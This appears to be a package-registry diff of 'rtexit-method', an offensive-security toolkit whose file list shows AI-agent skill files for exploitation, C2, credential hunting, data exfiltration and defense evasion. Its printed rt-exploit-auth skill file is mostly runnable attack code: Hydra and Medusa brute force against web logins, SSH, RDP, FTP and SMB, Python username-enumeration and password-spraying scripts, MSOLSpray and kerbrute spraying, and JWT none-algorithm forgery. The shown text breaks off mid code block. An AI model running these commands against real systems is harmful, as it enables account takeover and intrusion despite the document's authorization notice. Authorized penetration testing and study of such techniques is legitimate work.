rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1949 @@
1
+ ---
2
+ name: rt-exploit-auth
3
+ description: "Authentication testing skill. Covers password brute force (Hydra, Burp Intruder), password spraying, JWT attacks (none algorithm, algorithm confusion, weak secret, kid injection), OAuth 2.0 misconfigurations (redirect_uri bypass, PKCE downgrade), MFA bypass (response manipulation, OTP reuse, race conditions), and SAML attacks."
4
+ ---
5
+
6
+ # rt-exploit-auth — Authentication Exploitation Skill
7
+
8
+ ## 1. Overview
9
+
10
+ Authentication is the first enforcement point in any application. Weak or misconfigured authentication mechanisms are among the most impactful vulnerabilities a red team operator can exploit — they yield account takeover, privilege escalation, and full application compromise without ever touching business logic.
11
+
12
+ This skill covers the full authentication attack surface:
13
+
14
+ | Attack Category | Key Tools | Impact |
15
+ |---|---|---|
16
+ | Password brute force | Hydra, Medusa, Burp Intruder | Account takeover |
17
+ | Password spraying | Spray, MSOLSpray, kerbrute | Domain compromise, low lockout risk |
18
+ | JWT attacks | jwt_tool, PyJWT, CyberChef | Token forgery, privilege escalation |
19
+ | OAuth 2.0 misconfigs | Burp Suite, curl | Account hijacking, open redirect |
20
+ | MFA bypass | Burp Repeater, race condition scripts | 2FA defeat |
21
+ | SAML attacks | SAMLraider, xml-roundtrip | IdP impersonation, privilege escalation |
22
+
23
+ ### Threat Model
24
+
25
+ All techniques in this skill operate against the authentication layer — the boundary between anonymous and authenticated. Targets include:
26
+
27
+ - Web applications with form-based login
28
+ - REST APIs with JWT bearer tokens
29
+ - SSO/federated systems using SAML or OAuth/OIDC
30
+ - Cloud control planes (Azure AD, AWS IAM, GCP IAM)
31
+ - VPN/RDP endpoints for credential stuffing
32
+
33
+ ### Legal Notice
34
+
35
+ All techniques must only be executed against systems you have explicit written authorization to test. Unauthorized access is a criminal offense in virtually all jurisdictions. Maintain a signed scope-of-work document before executing any commands in this skill.
36
+
37
+ ---
38
+
39
+ ## 2. Skill Levels
40
+
41
+ ### BEGINNER
42
+
43
+ Prerequisites: Basic HTTP knowledge, ability to run command-line tools, Burp Suite Community installed.
44
+
45
+ Goals:
46
+ - Run Hydra against a login form
47
+ - Decode and inspect a JWT manually
48
+ - Identify redirect_uri parameters in OAuth flows
49
+ - Recognize MFA response structures in Burp
50
+
51
+ ### INTERMEDIATE
52
+
53
+ Prerequisites: Python scripting, Burp Suite Pro, basic understanding of cryptography (RSA vs HMAC).
54
+
55
+ Goals:
56
+ - Forge JWT tokens using the none algorithm
57
+ - Execute password spraying with lockout awareness
58
+ - Test redirect_uri bypass with open redirect chains
59
+ - Bypass MFA via response manipulation in Burp
60
+
61
+ ### ADVANCED
62
+
63
+ Prerequisites: Cryptography fundamentals, custom scripting ability, JWT/OAuth/SAML RFC familiarity.
64
+
65
+ Goals:
66
+ - Perform RS256-to-HS256 algorithm confusion attacks
67
+ - Exploit weak JWT secrets with hashcat
68
+ - Abuse PKCE downgrade in OAuth flows
69
+ - Conduct SAML signature wrapping attacks
70
+ - Exploit JWT kid parameter injection (SQLi/path traversal)
71
+
72
+ ### EXPERT
73
+
74
+ Prerequisites: Deep protocol knowledge, ability to write exploits from scratch, familiarity with cloud IAM.
75
+
76
+ Goals:
77
+ - Forge SAML assertions from scratch without the IdP private key
78
+ - Exploit JWT library vulnerabilities (CVE-level)
79
+ - Chain OAuth misconfigs to full account takeover via CSRF
80
+ - Abuse refresh token rotation flaws for persistent access
81
+ - Build race condition exploits for OTP reuse at scale
82
+
83
+ ---
84
+
85
+ ## 3. Step-by-Step Attack Workflows
86
+
87
+ ### 3.1 Password Brute Force Workflow
88
+
89
+ **Step 1 — Fingerprint the login endpoint**
90
+
91
+ ```bash
92
+ # Identify the form action, method, and field names
93
+ curl -s https://target.com/login | grep -i 'form\|input\|name='
94
+
95
+ # Use whatweb for tech fingerprinting
96
+ whatweb https://target.com/login
97
+
98
+ # Check response differences between valid/invalid credentials
99
+ curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/login \
100
+ -d "username=admin&password=INVALID123"
101
+ ```
102
+
103
+ **Step 2 — Identify lockout policy**
104
+
105
+ ```bash
106
+ # Send 5 failed attempts and observe the response
107
+ for i in {1..5}; do
108
+ curl -s -X POST https://target.com/login \
109
+ -d "username=testuser&password=wrong$i" \
110
+ -c /tmp/cookies.txt -b /tmp/cookies.txt \
111
+ -w "Attempt $i: HTTP %{http_code}\n" -o /dev/null
112
+ sleep 1
113
+ done
114
+ ```
115
+
116
+ **Step 3 — Prepare wordlists**
117
+
118
+ ```bash
119
+ # Download standard wordlists
120
+ wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
121
+
122
+ # Generate target-specific wordlist with CeWL
123
+ cewl https://target.com -d 3 -m 6 -w /tmp/target_wordlist.txt
124
+
125
+ # Combine and deduplicate
126
+ cat /tmp/target_wordlist.txt /usr/share/wordlists/rockyou.txt | sort -u > /tmp/combined.txt
127
+
128
+ # Create username list from LinkedIn scraping (if in scope)
129
+ # Use CrossLinked or similar OSINT tool
130
+ python3 CrossLinked.py -f '{first}.{last}@target.com' "Target Company" -o users.txt
131
+ ```
132
+
133
+ **Step 4 — Execute Hydra brute force**
134
+
135
+ ```bash
136
+ # HTTP POST form brute force
137
+ hydra -L users.txt -P /tmp/combined.txt target.com http-post-form \
138
+ "/login:username=^USER^&password=^PASS^:Invalid credentials" \
139
+ -t 4 -w 3 -o /tmp/hydra_results.txt -V
140
+
141
+ # With cookie session (when CSRF token is static)
142
+ hydra -L users.txt -P passwords.txt target.com http-post-form \
143
+ "/login:username=^USER^&password=^PASS^&csrf_token=abc123:F=Invalid" \
144
+ -t 2 -w 5
145
+
146
+ # HTTPS target
147
+ hydra -L users.txt -P passwords.txt -s 443 -S target.com http-post-form \
148
+ "/api/auth/login:email=^USER^&password=^PASS^:error" \
149
+ -t 4 -o /tmp/hydra_https.txt
150
+
151
+ # HTTP Basic Authentication
152
+ hydra -L users.txt -P passwords.txt target.com http-get /admin/ -t 4
153
+
154
+ # SSH brute force
155
+ hydra -L users.txt -P passwords.txt ssh://target.com -t 4 -o /tmp/ssh_results.txt
156
+
157
+ # RDP brute force
158
+ hydra -L users.txt -P passwords.txt rdp://target.com -t 1 -V
159
+
160
+ # FTP brute force
161
+ hydra -f -L users.txt -P passwords.txt ftp://target.com
162
+
163
+ # SMB brute force
164
+ hydra -L users.txt -P passwords.txt smb://target.com
165
+ ```
166
+
167
+ **Step 5 — Execute Medusa brute force (alternative)**
168
+
169
+ ```bash
170
+ # HTTP form
171
+ medusa -h target.com -U users.txt -P passwords.txt \
172
+ -M http -m FORM:"/login:username=MEDUSA_USER&password=MEDUSA_PASSWORD:Invalid" \
173
+ -t 4 -f -v 6
174
+
175
+ # SSH
176
+ medusa -h target.com -U users.txt -P passwords.txt -M ssh -t 4 -f
177
+
178
+ # MSSQL
179
+ medusa -h db.target.com -U users.txt -P passwords.txt -M mssql -t 2
180
+ ```
181
+
182
+ **Step 6 — Burp Intruder brute force (GUI workflow)**
183
+
184
+ ```
185
+ 1. Capture login request in Burp Proxy
186
+ 2. Right-click -> Send to Intruder
187
+ 3. Positions tab: Clear all, highlight password field, click Add
188
+ 4. Attack type: Sniper
189
+ 5. Payloads tab: Load wordlist
190
+ 6. Options: Set grep-match for "Invalid" (failure string)
191
+ 7. Options: Set max concurrent requests to 2 (avoid lockout)
192
+ 8. Start attack
193
+ 9. Sort by Length or Status column to find anomalies
194
+ ```
195
+
196
+ ---
197
+
198
+ ### 3.2 Password Spraying Workflow
199
+
200
+ Password spraying sends one or a few passwords to many accounts — avoiding lockout thresholds.
201
+
202
+ **Step 1 — Enumerate valid usernames first**
203
+
204
+ ```bash
205
+ # Username enumeration via timing difference
206
+ python3 - <<'EOF'
207
+ import requests, time
208
+
209
+ users = open('users.txt').read().splitlines()
210
+ for user in users:
211
+ start = time.time()
212
+ r = requests.post('https://target.com/login',
213
+ data={'username': user, 'password': 'Spring2024!'},
214
+ allow_redirects=False, timeout=10)
215
+ elapsed = time.time() - start
216
+ print(f"{user}: HTTP {r.status_code} | {elapsed:.3f}s | Len: {len(r.text)}")
217
+ EOF
218
+
219
+ # Username enumeration via response difference
220
+ ffuf -w users.txt -X POST -u https://target.com/login \
221
+ -d "username=FUZZ&password=invalid" \
222
+ -H "Content-Type: application/x-www-form-urlencoded" \
223
+ -fr "User not found" -fc 302 -v
224
+ ```
225
+
226
+ **Step 2 — Identify password policy**
227
+
228
+ ```bash
229
+ # Check the password policy page or registration page
230
+ curl -s https://target.com/register | grep -i 'password\|minimum\|require\|must'
231
+
232
+ # Common spray passwords that meet most policies:
233
+ # Spring2024!, Summer2024!, Winter2024!, Password1!, Welcome1!
234
+ # Company2024!, [CompanyName]1!, Changeme1!
235
+ ```
236
+
237
+ **Step 3 — Execute spray with delay**
238
+
239
+ ```bash
240
+ # Manual spray script with lockout-aware delay
241
+ python3 - <<'EOF'
242
+ import requests, time, sys
243
+
244
+ users = open('users.txt').read().splitlines()
245
+ password = 'Spring2024!'
246
+ delay = 30 # seconds between attempts per user
247
+ results = []
248
+
249
+ session = requests.Session()
250
+ # Get CSRF token if needed
251
+ resp = session.get('https://target.com/login')
252
+ # Parse csrf_token from resp.text here if needed
253
+
254
+ for i, user in enumerate(users):
255
+ r = session.post('https://target.com/login',
256
+ data={'username': user, 'password': password},
257
+ allow_redirects=False)
258
+ status = 'HIT' if r.status_code == 302 else 'MISS'
259
+ print(f"[{i+1}/{len(users)}] {user}: {status} (HTTP {r.status_code})")
260
+ if status == 'HIT':
261
+ results.append(f"{user}:{password}")
262
+ time.sleep(delay / len(users)) # distribute delay evenly
263
+
264
+ with open('/tmp/spray_hits.txt', 'w') as f:
265
+ f.write('\n'.join(results))
266
+ print(f"\nHits saved to /tmp/spray_hits.txt")
267
+ EOF
268
+
269
+ # Azure AD / Office 365 spraying with MSOLSpray
270
+ python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
271
+ --out /tmp/o365_hits.txt
272
+
273
+ # Kerbrute for Active Directory environments
274
+ ./kerbrute passwordspray -d target.local --dc 10.10.10.1 users.txt 'Spring2024!'
275
+
276
+ # GoSpray for web applications
277
+ gospray -users users.txt -passwords passwords.txt \
278
+ -url https://target.com/login \
279
+ -data "username={{user}}&password={{pass}}" \
280
+ -success "dashboard" -delay 30
281
+ ```
282
+
283
+ ---
284
+
285
+ ### 3.3 JWT Attack Workflow
286
+
287
+ #### 3.3.1 JWT Inspection and Decoding
288
+
289
+ **Step 1 — Capture and decode JWT**
290
+
291
+ ```bash
292
+ # Decode without verification (base64)
293
+ TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE"
294
+
295
+ # Decode header
296
+ echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
297
+
298
+ # Decode payload
299
+ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
300
+
301
+ # Using jwt_tool
302
+ python3 jwt_tool.py $TOKEN
303
+
304
+ # Using jq pipeline
305
+ echo $TOKEN | cut -d. -f2 | base64 --decode 2>/dev/null | jq .
306
+ ```
307
+
308
+ **Step 2 — Enumerate JWT configuration**
309
+
310
+ ```bash
311
+ # Check if the server accepts unsigned tokens
312
+ # Try none algorithm first
313
+ python3 jwt_tool.py $TOKEN -X a
314
+
315
+ # Check algorithm in header
316
+ echo $TOKEN | cut -d. -f1 | base64 -d | jq -r '.alg'
317
+
318
+ # Run all jwt_tool checks
319
+ python3 jwt_tool.py $TOKEN -t https://target.com/api/profile \
320
+ -rh "Authorization: Bearer *TOKEN*" -M at
321
+ ```
322
+
323
+ #### 3.3.2 None Algorithm Attack
324
+
325
+ **Step 1 — Forge token with none algorithm**
326
+
327
+ ```bash
328
+ # Using jwt_tool (automated)
329
+ python3 jwt_tool.py $TOKEN -X a
330
+
